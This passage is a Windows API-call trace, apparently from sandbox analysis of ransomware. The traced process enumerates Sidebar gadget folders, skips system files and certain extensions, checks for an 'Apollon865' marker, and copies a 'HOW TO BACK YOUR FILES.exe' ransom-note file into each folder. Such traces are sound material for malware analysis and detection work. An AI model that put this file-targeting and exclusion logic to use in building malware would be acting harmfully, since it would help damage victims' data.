	[0051.519] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="highDpiImageSwap.js", cAlternateFileName="")) returned 1
	[0051.519] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.519] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="Apollon865.txt.exe") returned 1
	[0051.519] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2=".") returned 1
	[0051.519] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="..") returned 1
	[0051.519] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="windows") returned -1
	[0051.519] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="bootmgr") returned 1
	[0051.519] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="temp") returned -1
	[0051.519] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="pagefile.sys") returned -1
	[0051.519] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="boot") returned 1
	[0051.519] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="ids.txt") returned -1
	[0051.519] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="ntuser.dat") returned -1
	[0051.519] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="perflogs") returned -1
	[0051.519] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="MSBuild") returned -1
	[0051.519] lstrlenW (lpString="highDpiImageSwap.js") returned 19
	[0051.520] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*") returned 72
	[0051.520] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="highDpiImageSwap.js" | out: lpString1="highDpiImageSwap.js") returned="highDpiImageSwap.js"
	[0051.520] lstrlenW (lpString="highDpiImageSwap.js") returned 19
	[0051.520] lstrlenW (lpString="Apollon865") returned 10
	[0051.520] lstrcmpiW (lpString1="ageSwap.js", lpString2="Apollon865") returned -1
	[0051.520] lstrlenW (lpString=".dll") returned 4
	[0051.520] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2=".dll") returned 1
	[0051.520] lstrlenW (lpString=".lnk") returned 4
	[0051.520] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2=".lnk") returned 1
	[0051.520] lstrlenW (lpString=".ini") returned 4
	[0051.520] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2=".ini") returned 1
	[0051.520] lstrlenW (lpString=".sys") returned 4
	[0051.520] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2=".sys") returned 1
	[0051.520] lstrlenW (lpString="highDpiImageSwap.js") returned 19
	[0051.520] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="library.js" | out: lpString1="library.js") returned="library.js"
	[0051.520] lstrlenW (lpString="library.js") returned 10
	[0051.520] lstrlenW (lpString="Apollon865") returned 10
	[0051.520] lstrlenW (lpString=".dll") returned 4
	[0051.520] lstrcmpiW (lpString1="library.js", lpString2=".dll") returned 1
	[0051.520] lstrlenW (lpString=".lnk") returned 4
	[0051.520] lstrcmpiW (lpString1="library.js", lpString2=".lnk") returned 1
	[0051.520] lstrlenW (lpString=".ini") returned 4
	[0051.520] lstrcmpiW (lpString1="library.js", lpString2=".ini") returned 1
	[0051.520] lstrlenW (lpString=".sys") returned 4
	[0051.520] lstrcmpiW (lpString1="library.js", lpString2=".sys") returned 1
	[0051.520] lstrlenW (lpString="library.js") returned 10
	[0051.520] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="localizedStrings.js" | out: lpString1="localizedStrings.js") returned="localizedStrings.js"
	[0051.520] lstrlenW (lpString="localizedStrings.js") returned 19
	[0051.520] lstrlenW (lpString="Apollon865") returned 10
	[0051.520] lstrcmpiW (lpString1="Strings.js", lpString2="Apollon865") returned 1
	[0051.520] lstrlenW (lpString=".dll") returned 4
	[0051.520] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".dll") returned 1
	[0051.520] lstrlenW (lpString=".lnk") returned 4
	[0051.520] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".lnk") returned 1
	[0051.520] lstrlenW (lpString=".ini") returned 4
	[0051.520] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".ini") returned 1
	[0051.520] lstrlenW (lpString=".sys") returned 4
	[0051.520] lstrcmpiW (lpString1="localizedStrings.js", lpString2=".sys") returned 1
	[0051.521] lstrlenW (lpString="localizedStrings.js") returned 19
	[0051.521] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="settings.js" | out: lpString1="settings.js") returned="settings.js"
	[0051.521] lstrlenW (lpString="settings.js") returned 11
	[0051.521] lstrlenW (lpString="Apollon865") returned 10
	[0051.521] lstrcmpiW (lpString1="ettings.js", lpString2="Apollon865") returned 1
	[0051.521] lstrlenW (lpString=".dll") returned 4
	[0051.521] lstrcmpiW (lpString1="settings.js", lpString2=".dll") returned 1
	[0051.521] lstrlenW (lpString=".lnk") returned 4
	[0051.521] lstrcmpiW (lpString1="settings.js", lpString2=".lnk") returned 1
	[0051.521] lstrlenW (lpString=".ini") returned 4
	[0051.521] lstrcmpiW (lpString1="settings.js", lpString2=".ini") returned 1
	[0051.521] lstrlenW (lpString=".sys") returned 4
	[0051.521] lstrcmpiW (lpString1="settings.js", lpString2=".sys") returned 1
	[0051.521] lstrlenW (lpString="settings.js") returned 11
	[0051.521] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="weather.js" | out: lpString1="weather.js") returned="weather.js"
	[0051.521] lstrlenW (lpString="weather.js") returned 10
	[0051.521] lstrlenW (lpString="Apollon865") returned 10
	[0051.521] lstrlenW (lpString=".dll") returned 4
	[0051.521] lstrcmpiW (lpString1="weather.js", lpString2=".dll") returned 1
	[0051.521] lstrlenW (lpString=".lnk") returned 4
	[0051.521] lstrcmpiW (lpString1="weather.js", lpString2=".lnk") returned 1
	[0051.521] lstrlenW (lpString=".ini") returned 4
	[0051.521] lstrcmpiW (lpString1="weather.js", lpString2=".ini") returned 1
	[0051.521] lstrlenW (lpString=".sys") returned 4
	[0051.521] lstrcmpiW (lpString1="weather.js", lpString2=".sys") returned 1
	[0051.521] lstrlenW (lpString="weather.js") returned 10
	[0051.521] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css"
	[0051.521] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0051.521] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0051.521] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css") returned 71
	[0051.521] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css"
	[0051.521] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.521] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.525] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.525] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36c7f030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36c7f030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.525] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.525] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.526] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.526] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36c7f030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36c7f030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.526] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.526] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.526] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.526] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.526] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36c7f030, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36c7f030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.526] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.526] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="localizedSettings.css", cAlternateFileName="")) returned 1
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2="Apollon865.txt.exe") returned 1
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2=".") returned 1
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2="..") returned 1
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2="windows") returned -1
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2="bootmgr") returned 1
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2="temp") returned -1
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2="pagefile.sys") returned -1
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2="boot") returned 1
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2="ids.txt") returned 1
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2="ntuser.dat") returned -1
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2="perflogs") returned -1
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2="MSBuild") returned -1
	[0051.526] lstrlenW (lpString="localizedSettings.css") returned 21
	[0051.526] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*") returned 73
	[0051.526] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="localizedSettings.css" | out: lpString1="localizedSettings.css") returned="localizedSettings.css"
	[0051.526] lstrlenW (lpString="localizedSettings.css") returned 21
	[0051.526] lstrlenW (lpString="Apollon865") returned 10
	[0051.526] lstrcmpiW (lpString1="ttings.css", lpString2="Apollon865") returned 1
	[0051.526] lstrlenW (lpString=".dll") returned 4
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2=".dll") returned 1
	[0051.526] lstrlenW (lpString=".lnk") returned 4
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2=".lnk") returned 1
	[0051.526] lstrlenW (lpString=".ini") returned 4
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2=".ini") returned 1
	[0051.526] lstrlenW (lpString=".sys") returned 4
	[0051.526] lstrcmpiW (lpString1="localizedSettings.css", lpString2=".sys") returned 1
	[0051.526] lstrlenW (lpString="localizedSettings.css") returned 21
	[0051.527] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="settings.css" | out: lpString1="settings.css") returned="settings.css"
	[0051.527] lstrlenW (lpString="settings.css") returned 12
	[0051.527] lstrlenW (lpString="Apollon865") returned 10
	[0051.527] lstrcmpiW (lpString1="ttings.css", lpString2="Apollon865") returned 1
	[0051.527] lstrlenW (lpString=".dll") returned 4
	[0051.527] lstrcmpiW (lpString1="settings.css", lpString2=".dll") returned 1
	[0051.527] lstrlenW (lpString=".lnk") returned 4
	[0051.527] lstrcmpiW (lpString1="settings.css", lpString2=".lnk") returned 1
	[0051.527] lstrlenW (lpString=".ini") returned 4
	[0051.527] lstrcmpiW (lpString1="settings.css", lpString2=".ini") returned 1
	[0051.527] lstrlenW (lpString=".sys") returned 4
	[0051.527] lstrcmpiW (lpString1="settings.css", lpString2=".sys") returned 1
	[0051.527] lstrlenW (lpString="settings.css") returned 12
	[0051.527] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="weather.css" | out: lpString1="weather.css") returned="weather.css"
	[0051.527] lstrlenW (lpString="weather.css") returned 11
	[0051.527] lstrlenW (lpString="Apollon865") returned 10
	[0051.527] lstrcmpiW (lpString1="eather.css", lpString2="Apollon865") returned 1
	[0051.527] lstrlenW (lpString=".dll") returned 4
	[0051.527] lstrcmpiW (lpString1="weather.css", lpString2=".dll") returned 1
	[0051.527] lstrlenW (lpString=".lnk") returned 4
	[0051.527] lstrcmpiW (lpString1="weather.css", lpString2=".lnk") returned 1
	[0051.527] lstrlenW (lpString=".ini") returned 4
	[0051.527] lstrcmpiW (lpString1="weather.css", lpString2=".ini") returned 1
	[0051.527] lstrlenW (lpString=".sys") returned 4
	[0051.527] lstrcmpiW (lpString1="weather.css", lpString2=".sys") returned 1
	[0051.527] lstrlenW (lpString="weather.css") returned 11
	[0051.537] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget"
	[0051.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0051.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0051.537] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget") returned 63
	[0051.537] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget"
	[0051.537] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.537] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.552] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.552] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36ccb2f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36ccb2f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.552] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.552] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.552] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.556] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36ccb2f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36ccb2f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.556] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.556] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.556] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.556] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.556] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbafe414, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbafe414, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb0b3b1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7575, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1
	[0051.556] lstrcmpiW (lpString1="drag.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.556] lstrcmpiW (lpString1="drag.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.556] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1
	[0051.556] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1
	[0051.556] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1
	[0051.556] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1
	[0051.556] lstrcmpiW (lpString1="drag.png", lpString2="temp") returned -1
	[0051.556] lstrcmpiW (lpString1="drag.png", lpString2="pagefile.sys") returned -1
	[0051.556] lstrcmpiW (lpString1="drag.png", lpString2="boot") returned 1
	[0051.556] lstrcmpiW (lpString1="drag.png", lpString2="ids.txt") returned -1
	[0051.556] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1
	[0051.556] lstrcmpiW (lpString1="drag.png", lpString2="perflogs") returned -1
	[0051.556] lstrcmpiW (lpString1="drag.png", lpString2="MSBuild") returned -1
	[0051.556] lstrlenW (lpString="drag.png") returned 8
	[0051.556] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*") returned 65
	[0051.556] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="drag.png" | out: lpString1="drag.png") returned="drag.png"
	[0051.556] lstrlenW (lpString="drag.png") returned 8
	[0051.556] lstrlenW (lpString="Apollon865") returned 10
	[0051.556] lstrlenW (lpString=".dll") returned 4
	[0051.556] lstrcmpiW (lpString1="drag.png", lpString2=".dll") returned 1
	[0051.556] lstrlenW (lpString=".lnk") returned 4
	[0051.556] lstrcmpiW (lpString1="drag.png", lpString2=".lnk") returned 1
	[0051.556] lstrlenW (lpString=".ini") returned 4
	[0051.557] lstrcmpiW (lpString1="drag.png", lpString2=".ini") returned 1
	[0051.557] lstrlenW (lpString=".sys") returned 4
	[0051.557] lstrcmpiW (lpString1="drag.png", lpString2=".sys") returned 1
	[0051.557] lstrlenW (lpString="drag.png") returned 8
	[0051.557] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0051.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0051.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x5994c0
	[0051.560] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0051.560] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36ca5190, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36ca5190, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.560] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.560] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb0ffddc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb0ffddc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb0ffddc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2732, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0051.560] lstrcmpiW (lpString1="icon.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.560] lstrcmpiW (lpString1="icon.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.560] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1
	[0051.560] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1
	[0051.560] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1
	[0051.560] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1
	[0051.560] lstrcmpiW (lpString1="icon.png", lpString2="temp") returned -1
	[0051.560] lstrcmpiW (lpString1="icon.png", lpString2="pagefile.sys") returned -1
	[0051.560] lstrcmpiW (lpString1="icon.png", lpString2="boot") returned 1
	[0051.560] lstrcmpiW (lpString1="icon.png", lpString2="ids.txt") returned -1
	[0051.560] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1
	[0051.560] lstrcmpiW (lpString1="icon.png", lpString2="perflogs") returned -1
	[0051.561] lstrcmpiW (lpString1="icon.png", lpString2="MSBuild") returned -1
	[0051.561] lstrlenW (lpString="icon.png") returned 8
	[0051.561] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US") returned 69
	[0051.561] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0051.561] lstrlenW (lpString="icon.png") returned 8
	[0051.561] lstrlenW (lpString="Apollon865") returned 10
	[0051.561] lstrlenW (lpString=".dll") returned 4
	[0051.561] lstrcmpiW (lpString1="icon.png", lpString2=".dll") returned 1
	[0051.561] lstrlenW (lpString=".lnk") returned 4
	[0051.561] lstrcmpiW (lpString1="icon.png", lpString2=".lnk") returned 1
	[0051.561] lstrlenW (lpString=".ini") returned 4
	[0051.561] lstrcmpiW (lpString1="icon.png", lpString2=".ini") returned 1
	[0051.561] lstrlenW (lpString=".sys") returned 4
	[0051.561] lstrcmpiW (lpString1="icon.png", lpString2=".sys") returned 1
	[0051.561] lstrlenW (lpString="icon.png") returned 8
	[0051.561] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="images" | out: lpString1="images") returned="images"
	[0051.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0051.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8e) returned 0x599558
	[0051.561] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0051.561] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbad82b5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbad82b5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb3d37fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0051.561] lstrcmpiW (lpString1="logo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.561] lstrcmpiW (lpString1="logo.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.561] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1
	[0051.561] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1
	[0051.561] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1
	[0051.561] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1
	[0051.561] lstrcmpiW (lpString1="logo.png", lpString2="temp") returned -1
	[0051.561] lstrcmpiW (lpString1="logo.png", lpString2="pagefile.sys") returned -1
	[0051.561] lstrcmpiW (lpString1="logo.png", lpString2="boot") returned 1
	[0051.561] lstrcmpiW (lpString1="logo.png", lpString2="ids.txt") returned 1
	[0051.561] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1
	[0051.561] lstrcmpiW (lpString1="logo.png", lpString2="perflogs") returned -1
	[0051.561] lstrcmpiW (lpString1="logo.png", lpString2="MSBuild") returned -1
	[0051.561] lstrlenW (lpString="logo.png") returned 8
	[0051.561] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images") returned 70
	[0051.561] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0051.561] lstrlenW (lpString="logo.png") returned 8
	[0051.561] lstrlenW (lpString="Apollon865") returned 10
	[0051.562] lstrlenW (lpString=".dll") returned 4
	[0051.562] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0051.562] lstrlenW (lpString=".lnk") returned 4
